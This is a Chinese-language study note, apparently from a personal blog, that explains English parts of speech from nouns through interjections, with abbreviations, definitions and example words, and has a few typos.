衣服常见的名词:人:teacher(老师)、student(学生)、doctor(医生)、engineer(工程师)物:book(书)、chair(椅子)、computer(电脑)、car(汽车)地方:city(城市)、beach(海滩)、park(公园)、restaurant(餐厅)抽象概念:love(爱)、happiness(幸福)、freedom(自由)、justice(正义)2.冠词缩写:art. 全称:article描述:冠词只有三个 a/an/the a/an是不定冠词 the是定冠词用法:冠词只能放在名词前面例子:an apple 一个苹果定冠词 "the":用于特定的名词前面,表示已知、特定或限定的名词。例如:"the book"(这本书)、"the house"(这幢房子)、"the Apple Inc."(苹果公司)等。不定冠词 "a/an":用于泛指或未知的名词前面,表示一个或一件。其中,“a”用于辅音开头的单词前(如"a boy"),而“an”用于元音开头的单词前(如"an apple")。例如:"a cat"(一只猫)、"an idea"(一个想法)等。3.代词缩写:pron. 全称:pronoun描述:用来替代、和指示作用 我的朋友叫小怪兽,她的家在北京 她起到代替作用代替人:人称代词 主格要用在句子开头做主语(we/you/he/she/it/they)宾格要用在动词或介词之后(me/us/you/him/her/it/them)例子:She loves me代替物:1.形容词性物主代词(my/our/your/his/her/its/their) 描述:用在名词之前 表示物品的归属例子:I love my career 我热爱我的事业2.名词性物主代词(mine/ours/yours/his/hers/its/theirs)描述:二合一 形容词性物主代词 + 名词 名词性物主代词之后禁止再出现名词例子:love mine代替人:1.代替人、事、物本身:反身代词(myself/ourselves/yourself/yourselves/himself/herself/itself/themselves)描述:代替t反身单词是宾格的进化 主语和宾语是同一人 宾格一定要写成反身代词例子:She loves herself2.代替不同数量人、物:不定代词(both/neither/either/all/none/much/many..)其他代词:指示代词(this/that/these/those)描述:这个 那个 这些 那些 东西都是指示例子:This man疑问代词:(what/who/where/whose/which..)关系代词:用在定语从句里4.形容词缩写:adj 全称:adjective描述:用来修饰名词、代词、表示人或物的性质、特征或属性 带有的例子:red apple 红苹果 本来是一个苹果 形 + 名 给名词进行修饰 常见的形容词:物理特征:tall(高)、short(短)、fat(胖)、thin(瘦)颜色:red(红)、blue(蓝)、yellow(黄)、green(绿)性格特征:kind(好心的)、cruel(残酷的)、honest(诚实的)、dishonest(不诚实的)数量特征:few(少的)、many(多的)、enough(足够的)概括特征:happy(快乐的)、sad(悲伤的)、beautiful(美丽的)、ugly(丑陋的)5.副词缩写:adv 全称:adverb描述:修饰、限制动词或形容词 表示时间 频率 范围 语气 程度等 带有地例子:eat apples quickly 快速的吃苹果 表示怎么干的形容词修饰名词 副词修饰动词 两动之间要有to长难句分析 遇到形容词或副词 直接删除阅读理解时 遇到句中有形容词或副词 视为软柿子 形容词副词里有答案常见的副词:时间:now(现在)、tomorrow(明天)、yesterday(昨天)原因:therefore(因此)、thus(这样)、hence(从而)方式:quickly(快速地)、easily(容易地)、carefully(小心地)程度:very(非常)、quite(相当)、extremely(极度地)频率:always(总是)、never(从不)、sometimes(有时)6.动词缩写:v. 全称:verb描述:表示人或事物动作或者一种动态变化 动词分为系动词、助动词、情态动词和非谓语动词、短语动词主语之后一般时动词,谓语动词分三态:时态、语态、三单例子:eat apple 动 + 名 表示干什么常见的动词:行为:run(跑)、eat(吃)、talk(说话)、study(学习)状态:be(是)、exist(存在)、seem(似乎)、feel(感觉)变化:change(改变)、grow(生长)、evolve(进化)、develop(发展)7.介词缩写:prep 全称:preposition描述:一般用于名词或代词前面 表示词语句子中其他的成分关系,同时介词的用法很灵活同一个介词可以表达多种意义,介词可分为时间介词、地点介词、方式介词、原因介词、数量介词、和其他介词介词:of、about、from、for 一般在动后名前例子:I must look after the dog.常见的介词:时间:at(在...时刻)、in(在...期间)、on(在...日期)地点:at(在...地点)、in(在...内部)、on(在...表面)方向:to(到...)、from(从...出发)、over(越过...)方式:by(通过...方式)、with(伴随着...)、through(穿过...)目的:for(为了...目的)、to(朝着...方向)8.连词缩写:conj. 全程:conjunction描述:用来连接词与词 词组句子与句子 表示某种逻辑关系虚词,可以表示列、承接、顺承、选择、假设、比较、让步等关系,无修饰作用 起到连接作用并列连词:and、but、so、as well as状语从句连词:if、when、because、although例子:the apple and the pen 苹果和笔常见的连词:并列连词:and(并且)、or(或者)、but(但是)递进连词:also(而且)、besides(此外)、furthermore(此外)对比连词:however(然而)、in contrast(相比之下)、on the other hand(另一方面)转折连词:although(尽管)、while(虽然)、yet(然而)9.数词缩写:num. 全称:numeral描述:数量或顺序的词叫数词 可修饰名词例子:tow apples 加s复数表示复数常见的数词:基数词:one(一)、two(二)、three(三)、four(四)序数词:first(第一)、second(第二)、third(第三)、fourth(第四)分数词:half(一半)、quarter(四分之一)、three-quarters(四分之三)百分数词:ten percent(10%)、fifty percent(50%)10.感叹词缩写:int. 全称:interjection描述:表示语气 说话时的喜悦、惊讶等感情的词、无修饰名词 感叹词:Wow! 带有感叹语气的词例子:Wow! that's great常见的感叹词:惊讶:wow、oh、ah、oops、my goodness喜悦:yay、hooray、yeah、wow痛苦:ouch、ow、uh-oh愤怒:hey、oi、hey、holy cow
2022年06月30日
159 阅读
0 评论
33 点赞
1
...
9
10
11
...
14
0:00